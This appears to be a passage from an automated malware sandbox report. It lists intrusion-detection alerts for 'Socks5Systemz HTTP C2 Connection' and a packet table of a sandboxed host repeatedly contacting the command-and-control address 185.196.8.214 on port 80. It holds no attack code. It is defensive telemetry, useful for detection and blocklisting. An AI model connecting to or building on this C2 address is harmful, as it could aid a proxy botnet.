2024-08-31T22:13:49.658488+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49748	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:27.915380+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49788	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:46.818976+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49745	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:17.196962+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49775	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:16.841168+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49775	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:03.032767+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49762	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:32.118123+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49732	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:49.309231+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49748	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:50.353090+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49748	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:56.398645+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49754	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:09.020764+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49766	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:23.880712+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49723	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:50.001036+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49748	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:04.062935+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49763	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:55.569903+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49753	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:23.792402+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49783	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:02.219305+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49761	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:22.129953+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49781	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:20.472670+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49779	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:30.109888+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49730	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:10.434426+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49768	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:27.089047+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49787	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:22.718526+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49722	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:10.079726+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49768	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:51.204579+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49749	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:32.995984+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49733	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:59.758332+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49758	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:51.915084+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49749	80	192.168.2.9	185.196.8.214
2024-08-31T22:14:24.633476+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49784	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:35.209076+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49734	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:41.332836+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49739	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:26.406034+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49726	80	192.168.2.9	185.196.8.214
2024-08-31T22:13:53.098519+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49750	80	192.168.2.9	185.196.8.214

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 22:13:20.373533964 CEST	49720	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:20.378537893 CEST	80	49720	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:20.378730059 CEST	49720	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:20.378920078 CEST	49720	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:20.383800983 CEST	80	49720	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:21.067531109 CEST	80	49720	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:21.067707062 CEST	49720	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.186844110 CEST	49720	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.187233925 CEST	49721	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.192085981 CEST	80	49721	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:21.192101955 CEST	80	49720	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:21.192159891 CEST	49720	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.192168951 CEST	49721	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.192502975 CEST	49721	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.197259903 CEST	80	49721	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:21.881506920 CEST	80	49721	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:21.881623030 CEST	49721	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.998914003 CEST	49721	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:21.999265909 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:22.004648924 CEST	80	49722	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:22.004740953 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:22.004882097 CEST	80	49721	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:22.004890919 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:22.004939079 CEST	49721	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:22.009756088 CEST	80	49722	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:22.718441010 CEST	80	49722	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:22.718525887 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:22.827095032 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:22.831984043 CEST	80	49722	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:23.068290949 CEST	80	49722	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:23.068461895 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:23.186326981 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:23.186665058 CEST	49723	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:23.191477060 CEST	80	49722	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:23.191530943 CEST	80	49723	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:23.191598892 CEST	49722	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:23.191651106 CEST	49723	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:23.191839933 CEST	49723	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:23.196573973 CEST	80	49723	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:23.880629063 CEST	80	49723	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:23.880712032 CEST	49723	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.007383108 CEST	49723	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.007707119 CEST	49724	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.012419939 CEST	80	49723	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:24.012506962 CEST	49723	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.012535095 CEST	80	49724	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:24.012603045 CEST	49724	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.012777090 CEST	49724	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.017545938 CEST	80	49724	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:24.727519989 CEST	80	49724	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:24.727641106 CEST	49724	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.842725992 CEST	49724	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.843071938 CEST	49725	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.847840071 CEST	80	49724	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:24.847922087 CEST	49724	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.847937107 CEST	80	49725	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:24.848010063 CEST	49725	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.848195076 CEST	49725	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:24.853055954 CEST	80	49725	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:25.567821980 CEST	80	49725	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:25.567897081 CEST	49725	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:25.691617966 CEST	49725	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:25.691935062 CEST	49726	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:25.696814060 CEST	80	49726	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:25.696851969 CEST	80	49725	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:25.696926117 CEST	49726	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:25.696950912 CEST	49725	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:25.698786020 CEST	49726	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:25.703603983 CEST	80	49726	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:26.405953884 CEST	80	49726	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:26.406033993 CEST	49726	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:26.530242920 CEST	49726	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:26.530538082 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:26.535449982 CEST	80	49727	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:26.535530090 CEST	80	49726	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:26.535550117 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:26.535579920 CEST	49726	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:26.535720110 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:26.540544033 CEST	80	49727	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:27.230552912 CEST	80	49727	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:27.230645895 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.344016075 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.349062920 CEST	80	49727	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:27.579921007 CEST	80	49727	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:27.579977989 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.702265978 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.703038931 CEST	49728	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.708631039 CEST	80	49727	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:27.708655119 CEST	80	49728	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:27.708725929 CEST	49727	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.708760977 CEST	49728	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.708940029 CEST	49728	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:27.714476109 CEST	80	49728	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:28.427604914 CEST	80	49728	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:28.427710056 CEST	49728	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:28.547929049 CEST	49728	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:28.548420906 CEST	49729	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:28.553061962 CEST	80	49728	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:28.553122044 CEST	49728	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:28.553277016 CEST	80	49729	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:28.553406954 CEST	49729	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:28.553647995 CEST	49729	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:28.558494091 CEST	80	49729	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:29.244990110 CEST	80	49729	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:29.245059967 CEST	49729	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:29.358278036 CEST	49729	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:29.358534098 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:29.364120007 CEST	80	49730	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:29.364233971 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:29.364332914 CEST	80	49729	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:29.364383936 CEST	49729	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:29.364491940 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:29.369260073 CEST	80	49730	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:30.109802961 CEST	80	49730	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:30.109888077 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.224756956 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.229579926 CEST	80	49730	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:30.488168955 CEST	80	49730	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:30.488246918 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.608170033 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.608505964 CEST	49731	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.613333941 CEST	80	49730	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:30.613363028 CEST	80	49731	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:30.613409996 CEST	49730	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.613455057 CEST	49731	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.613600016 CEST	49731	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:30.618393898 CEST	80	49731	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:31.303558111 CEST	80	49731	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:31.303698063 CEST	49731	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:31.421231031 CEST	49731	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:31.421583891 CEST	49732	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:31.426549911 CEST	80	49731	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:31.426630020 CEST	49731	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:31.427001953 CEST	80	49732	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:31.427141905 CEST	49732	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:31.427253008 CEST	49732	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:31.432312012 CEST	80	49732	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:32.117953062 CEST	80	49732	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:32.118123055 CEST	49732	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:32.235304117 CEST	49732	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:32.235764027 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:32.240797997 CEST	80	49732	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:32.240828037 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:32.240901947 CEST	49732	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:32.240947962 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:32.241127014 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:32.245896101 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:32.995857000 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:32.995984077 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:33.108580112 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:33.113322020 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:33.355427980 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:33.355540037 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:33.468024015 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:33.472856998 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:33.704474926 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:33.704540014 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:33.812879086 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:33.818195105 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:34.049361944 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:34.049470901 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.170825005 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.171149969 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.175956964 CEST	80	49734	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:34.176063061 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.176176071 CEST	80	49733	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:34.176178932 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.176227093 CEST	49733	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.181018114 CEST	80	49734	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:34.861285925 CEST	80	49734	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:34.861365080 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.967875004 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:34.972733021 CEST	80	49734	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:35.208873034 CEST	80	49734	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:35.209075928 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:35.327332020 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:35.327666998 CEST	49735	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:35.332499027 CEST	80	49734	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:35.332515955 CEST	80	49735	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:35.332650900 CEST	49734	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:35.332756996 CEST	49735	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:35.333183050 CEST	49735	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:35.337920904 CEST	80	49735	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:36.033519983 CEST	80	49735	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:36.033652067 CEST	49735	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:36.155364037 CEST	49735	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:36.156143904 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:36.160609961 CEST	80	49735	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:36.160684109 CEST	49735	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:36.160953045 CEST	80	49736	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:36.161019087 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:36.161164999 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:36.165973902 CEST	80	49736	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:38.141935110 CEST	80	49736	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:38.142044067 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.249074936 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.253912926 CEST	80	49736	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:38.485059977 CEST	80	49736	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:38.485156059 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.608206987 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.608524084 CEST	49737	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.613399029 CEST	80	49737	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:38.613459110 CEST	80	49736	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:38.613481045 CEST	49737	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.613512039 CEST	49736	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.614460945 CEST	49737	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:38.619764090 CEST	80	49737	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:39.346009016 CEST	80	49737	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:39.346060038 CEST	49737	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:39.467498064 CEST	49737	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:39.467798948 CEST	49738	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:39.472665071 CEST	80	49737	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:39.472698927 CEST	80	49738	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:39.472738028 CEST	49737	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:39.472773075 CEST	49738	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:39.472913980 CEST	49738	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:39.477957010 CEST	80	49738	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:40.178509951 CEST	80	49738	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:40.178638935 CEST	49738	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:40.296027899 CEST	49738	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:40.296427965 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:40.301362038 CEST	80	49739	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:40.301378012 CEST	80	49738	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:40.301489115 CEST	49738	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:40.301506996 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:40.301625967 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:40.306399107 CEST	80	49739	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:40.984783888 CEST	80	49739	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:40.984852076 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.092782021 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.097700119 CEST	80	49739	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:41.332725048 CEST	80	49739	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:41.332835913 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.459749937 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.460105896 CEST	49740	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.465228081 CEST	80	49739	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:41.465245008 CEST	80	49740	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:41.465300083 CEST	49739	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.465341091 CEST	49740	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.465652943 CEST	49740	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:41.470401049 CEST	80	49740	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:42.164752007 CEST	80	49740	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:42.164915085 CEST	49740	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:42.282013893 CEST	49740	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:42.282342911 CEST	49741	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:42.287339926 CEST	80	49741	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:42.287425995 CEST	49741	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:42.287504911 CEST	80	49740	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:42.287553072 CEST	49740	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:42.287617922 CEST	49741	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:42.292634964 CEST	80	49741	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:42.991364956 CEST	80	49741	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:42.991482973 CEST	49741	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.108639956 CEST	49741	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.108954906 CEST	49742	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.113898039 CEST	80	49741	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:43.113940001 CEST	80	49742	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:43.114028931 CEST	49741	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.114109993 CEST	49742	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.114336014 CEST	49742	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.120156050 CEST	80	49742	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:43.819664001 CEST	80	49742	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:43.819808006 CEST	49742	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.942737103 CEST	49742	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.946640015 CEST	49743	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.947892904 CEST	80	49742	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:43.947966099 CEST	49742	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.951441050 CEST	80	49743	185.196.8.214	192.168.2.9
